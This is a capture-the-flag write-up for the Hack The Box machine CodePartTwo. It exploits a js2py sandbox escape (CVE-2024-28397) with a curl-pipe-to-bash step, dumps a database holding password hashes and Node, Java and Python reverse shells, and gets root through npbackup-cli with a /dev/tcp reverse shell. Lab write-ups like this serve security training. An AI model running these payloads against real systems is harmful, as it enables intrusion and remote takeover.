Hackthebox: CodePartTwo

Foued SAIDI Lv5

Overview

CodePartTwo is an easy-difficulty machine from Hack The Box dealing initially with a web application providing us with source code where we will discover a malicious js2py library usage and exploit it through CVE-2024-28397 to get initiall shell then exfiltrate users database and get the user flag. For root, we will abuse npbackup-cli by creating a malicious conf file passing it to it and get privileged access.

CodePartTwo-info-card
CodePartTwo-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PORT     STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
| 256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_ 256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open http Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Welcome to CodeTwo
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We can see that we have our usual ssh 22 port and a web application deployed on port 8000.

Web Application -http://10.10.11.82:8000/

From the web application we can download the app and then have a look at app.py:

1
2
3
4
5
6
from flask import Flask, render_template, request, redirect, url_for, session, jsonify, send_from_directory
from flask_sqlalchemy import SQLAlchemy
import hashlib
import js2py
import os
import json

We can clearly see it is utilizing js2py library which is vulnerable to CVE-2024-28397-command-execution-poc/payload.js at main · waleed-hassan569/CVE-2024-28397-command-execution-poc

We will create our shell.sh reverse shell script and then create our CVE exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
let cmd = "curl 10.10.16.85/shell.sh|bash"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
let result;
for (let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if (item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if (item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}

// run the command and force UTF-8 string output
let proc = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true)
let out = proc.communicate()[0].decode("utf-8")

// return a plain string (JSON-safe)
"" + out

And we successfully get a callback after:

1
2
3
4
5
6
└─$ rlwrap nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.85] from (UNKNOWN) [10.10.11.82] 52738
sh: 0: can't access tty; job control turned off
$ id
uid=1001(app) gid=1001(app) groups=1001(app)

Attempting to do usual initial exfiltration, we look for database files:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
$ ls instance
users.db
$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/app/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Created directory '/home/app/.ssh'.
Your identification has been saved in /home/app/.ssh/id_rsa
Your public key has been saved in /home/app/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:9un1N4thGtKbUCk28JZ1ibOyvDU0j3Rcc5b50l6wbPw app@codetwo
The key's randomart image is:
+---[RSA 3072]----+
| |
| . . o|
| . + o.=o|
| o o *o.=+|
| SO B o* +|
| .+.X.=. +.|
| =o*.+ E|
| .=.B.o..|
| ..+ ..oo|
+----[SHA256]-----+
$ cd
$ cat .ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
$

We find users.db which we exfiltrate and read its’ contents:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
$ cat users.db
SQLite format 3@

SQLite format 3@

�O�O�J%%�Wtablecode_snippetcode_snippetCREATE TABLE code_snippet (
id INTEGER NOT NULL,
user_id INTEGER NOT NULL,
code TEXT NOT NULL,
PRIMARY KEY (id),
FOREIGN KEY(user_id) REFERENCES user (id)
)�0�CtableuseruserCREATE TABLE user (
id INTEGER NOT NULL,
username VARCHAR(80) NOT NULL,
password_hash VARCHAR(128) NOT NULL,
PRIMARY KEY (id),
UNIQUE (username)
.���Y.)Mkujen9e76bf31e3d126e7343fbf989e196d43'M'-'c3d4ef905f3d93822b18389c213d43e0(Mtest098f6bcd4621d373cade4e832627b4f6'Mappa97588c0e2fa3a024876339e27aeb42e)Mmarco649c9d65a206a75f5abe509fe128bce5
��@��,�Yfunction a(){ rco
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/bash", []);
var client = new net.Socket();

//create connection to the attacking machine
client.connect(4444, "10.10.14.103", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
}�/�_(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/bash", []);
var client = new net.Socket();

//create connection to the attacking machine
client.connect(4444, "10.10.14.103", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})()%�3�gString command = "var host = '10.10.14.103';" +
"var port = 4444;" +
"var cmd = 'sh';"+
"var s = new java.net.Socket(host, port);" +
"var p = new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();"+
"var pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();"+
"var po = p.getOutputStream(), so = s.getOutputStream();"+
"print ('Connected');"+
"while (!s.isClosed()) {"+
" while (pi.available() > 0)"+
" so.write(pi.read());"+
" while (pe.available() > 0)"+
" so.write(pe.read());"+
" while (si.available() > 0)"+
" po.write(si.read());"+
" so.flush();"+
" po.flush();"+
" java.lang.Thread.sleep(50);"+
" try {"+
" p.exitValue();"+
" break;"+
" }"+
" catch (e) {"+
" }"+
"}"+
"p.destroy();"+
"s.close();";
String x = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\""+command+"\")";
ref.add(new StringRefAddr("x", x);�U�+import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.103",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.sparef.add(new StringRefAddr("x", x);�U�+import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.103",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.sparef.add(new StringRefAddr("x", x);�U�+import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.103",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'$ ls /home ls /home
app
marco

We crack the respective hash for the marco user:

marco:sweetangelbabylove

And we get the user flag:

1
2
3
marco@codetwo:~$ cat user.txt 
ad3e5fa0cdd3654124c9890878e16fb7
marco@codetwo:~$

Privilege Escalation

Checking what marco user can run as sudo:

1
2
3
4
5
6
7
marco@codetwo:~$ sudo -l
Matching Defaults entries for marco on codetwo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marco may run the following commands on codetwo:
(ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
marco@codetwo:~$

We cam see he can run npbackup-cli

1
npbackup-cli is the command-line interface (CLI) component of NPBackup, a secure and efficient file backup solution built on top of the restic backup program.

We will create a malicious npb file with a reverse shell script and run the binary on it:

1
2
3
4
5
6
7
8
9
marco@codetwo:~$ cat > /home/marco/npb <<'END'
> #!/bin/sh
> exec /bin/bash -c 'bash -i >& /dev/tcp/10.10.16.85/9001 0>&1'
> END
marco@codetwo:~$ chmod +x /home/marco/npb
marco@codetwo:~$ sudo /usr/local/bin/npbackup-cli --config /home/marco/npbackup.conf --external-backend-binary=/home/marco/npb -b --repo-name default
2025-08-22 16:47:44,389 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-08-22 16:47:44,411 :: INFO :: Loaded config 4E3B3BFD in /home/marco/npbackup.conf

And we do indeed receive a reverse shell as root and obtain the root flag:

1
2
3
4
5
6
7
└─$ rlwrap nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.85] from (UNKNOWN) [10.10.11.82] 50856
root@codetwo:/home/marco# cat /root/root.txt cat /root/root.txt
cat /root/root.txt
e39eb1edaac24e4d04dd7f6f69bf0848
root@codetwo:/home/marco#

That was it for CodePartTwo, hope you learned something new!!

-0xkujen

  • Title: Hackthebox: CodePartTwo
  • Author: Foued SAIDI
  • Created at : 2026-01-31 18:41:58
  • Updated at : 2026-01-31 19:01:40
  • Link: https://kujen5.github.io/2026/01/31/Hackthebox-CodePartTwo/
  • License: This work is licensed under CC BY-NC-SA 4.0.